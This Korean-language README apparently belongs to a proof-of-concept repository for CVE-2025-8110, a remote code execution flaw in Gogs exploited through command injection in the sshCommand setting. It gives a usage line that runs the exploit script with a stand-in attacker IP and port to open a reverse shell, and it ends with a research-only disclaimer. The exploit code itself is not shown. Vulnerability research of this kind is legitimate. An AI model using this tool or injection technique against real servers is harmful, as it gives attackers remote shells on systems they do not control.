zabuqasem/gogs-cve-2025-8110CVE-2025-8110 PoC
이 저장소는 Gogs의 원격 코드 실행(RCE) 취약점인 CVE-2025-8110에 대한 개념 증명(PoC)을 포함합니다. 이 익스플로잇은 내부 SSH 서버 구현을 대상으로 하여, 공격자가 sshCommand 설정을 통해 악성 명령어를 주입할 수 있게 합니다.
익스플로잇을 실행하려면 CVE-2025-8110.py 스크립트를 대상 Gogs URL 및 리버스 셸을 위한 수신 호스트/포트와 함께 사용하십시오.
python3 CVE-2025-8110.py -u <TARGET_URL> -lh <ATTACKER_IP> -lp <ATTACKER_PORT>
-u, --url: 대상 Gogs 인스턴스의 기본 URL (예: http://localhost:3000).-lh, --host: 리버스 셸이 연결될 IP 주소.-lp, --port: 리버스 셸이 연결될 포트.-x, --proxy: (선택 사항) 디버깅을 위해 http://localhost:8080에서 로컬 프록시 사용.이 개념 증명(PoC)은 교육 및 연구 목적으로만 제공됩니다. 보안 연구자 및 관리자가 CVE-2025-8110 취약점을 이해하고 완화하는 데 도움을 주기 위한 것입니다.
저자는 이 코드의 무단 또는 악의적인 사용에 대해 책임을 지지 않습니다. 이 도구는 귀하가 소유하거나 테스트할 명시적 허가를 받은 시스템에서만 사용하십시오. 이 코드를 사용함으로써 귀하는 귀하의 행동에 대한 전적인 책임을 지는 것에 동의합니다.